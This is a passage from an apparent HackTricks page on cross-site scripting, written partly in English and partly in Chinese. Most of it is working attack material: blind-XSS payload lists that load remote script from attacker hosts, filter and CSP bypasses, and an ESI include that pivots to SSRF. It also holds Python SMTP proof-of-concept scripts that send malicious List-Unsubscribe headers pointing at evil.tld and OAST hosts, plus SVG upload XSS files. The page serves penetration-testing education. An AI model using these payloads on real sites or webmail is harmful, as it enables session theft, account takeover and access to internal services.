Supply-chain stored XSS via backend JS concatenation

When a backend builds a shared SDK by concatenating JS strings with user-controlled values, any quote/structure breaker can inject script that is served to every consumer:

  • Example pattern (Meta CAPIG): server appends cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); directly into capig-events.js.
  • Injecting ' or "]} closes the literal/object and adds attacker JS, creating stored XSS in the distributed SDK for every site that loads it (first-party and third-party).

Abusing Service Workers

Abusing Service Workers

Accessing Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

You can also use: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - 访问隐藏的内容

this writeup 可以了解到,即使某些值在 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如,一个 REGEX 的输入仍然可以被找到,即便该正则输入的值已经被移除:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

暴力破解列表

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS 滥用其他漏洞

Markdown 中的 XSS

能注入会被渲染的 Markdown 代码吗?也许你可以获得 XSS!查看:

XSS in Markdown

XSS 转 SSRF

在一个使用缓存的站点上发现 XSS?尝试通过 Edge Side Include Injection 将其升级为 SSRF,使用这个 payload:

<esi:include src="http://yoursite.com/capture" />

Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.

XSS 在动态创建的 PDF 中

如果网页使用用户可控的输入生成 PDF,你可以尝试诱骗负责创建 PDF 的 bot执行任意 JS 代码
因此,如果PDF 创建 bot 发现某些 HTML 标签,它会解释它们,你可以滥用此行为以导致Server XSS

Server Side XSS (Dynamic PDF)

如果你无法注入 HTML 标签,值得尝试注入 PDF 数据

PDF Injection

XSS in Amp4Email

AMP 的目标是加速移动设备上的网页性能,它采用 HTML 标签并辅以 JavaScript 来确保功能性,同时强调速度和安全性。它支持一系列组件,相关功能可通过 AMP components 访问。

The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.

Example writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header 滥用 (Webmail XSS & SSRF)

The RFC 2369 List-Unsubscribe header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into “Unsubscribe” buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).

Stored XSS via javascript: URIs

  1. 给自己发送一封邮件,使该头部指向 javascript: URI,同时保持邮件其他内容正常以避免被垃圾邮件过滤器丢弃。
  2. 确保 UI 渲染该值(许多客户端会在“List Info” 面板中显示),并检查生成的 <a> 标签是否继承了攻击者控制的属性,例如 hreftarget
  3. 当链接使用 target="_blank" 时,触发执行(例如,CTRL+click、鼠标中键点击或“在新标签页打开”);浏览器会在 webmail 应用的 origin 下评估提供的 JavaScript。
  4. 观察该 stored-XSS 基元:载荷会随邮件持久存在,只需一次点击即可执行。
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

URI 中的换行字节 (%0a) 表明即使是非常规字符也会在渲染管道中存活于易受攻击的客户端(例如 Horde IMP H5),该客户端会将该字符串逐字输出到 a 标签内部。

用于传送恶意 List-Unsubscribe header 的最小 SMTP PoC ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### 服务器端退订代理 -> SSRF

一些客户端,例如 Nextcloud Mail app,会在服务器端代理退订操作:点击按钮会指示服务器自行获取所提供的 URL。这样会把该 header 变成 SSRF 原语,尤其当管理员将 'allow_local_remote_servers' => true(详见 [HackerOne report 2902856](https://hackerone.com/reports/2902856))设置为允许对 loopback 和 RFC1918 网段的请求时。

1. **构造一封邮件**,使 `List-Unsubscribe` 指向攻击者控制的端点(对于盲 SSRF 使用 Burp Collaborator / OAST)。
2. **保留 `List-Unsubscribe-Post: List-Unsubscribe=One-Click`**,这样 UI 会显示单击退订按钮。
3. **满足信任要求**:例如 Nextcloud 只有在消息通过 DKIM 时才会执行 HTTPS 退订请求,因此攻击者必须使用其控制的域对邮件进行签名。
4. **将邮件投递到由目标服务器处理的邮箱**,然后等待用户点击退订按钮。
5. **在 collaborator endpoint 观察服务器端回调**,一旦确认该原语,再转向内部地址进行利用。
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
用于 SSRF 测试的 DKIM 签名 List-Unsubscribe 消息 ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**测试说明**

- 使用 OAST endpoint 来收集盲 SSRF 命中,然后在原语确认后,将 `List-Unsubscribe` URL 调整为指向 `http://127.0.0.1:PORT`、metadata 服务或其他内部主机。
- 因为 unsubscribe helper 经常重用与应用相同的 HTTP 栈,你会继承其代理设置、HTTP verbs 和 header rewrites,从而可以利用 [SSRF methodology](../ssrf-server-side-request-forgery/README.md) 中描述的进一步遍历技巧。

### XSS 上传文件 (svg)

作为图片上传一个类似下面的文件(来自 [http://ghostlulz.com/xss-svg/]):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

查找 更多 SVG payloads 在 https://github.com/allanlw/svg-cheatsheet

杂项 JS 技巧 & 相关信息

Misc JS Tricks & Relevant Info

XSS 资源

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks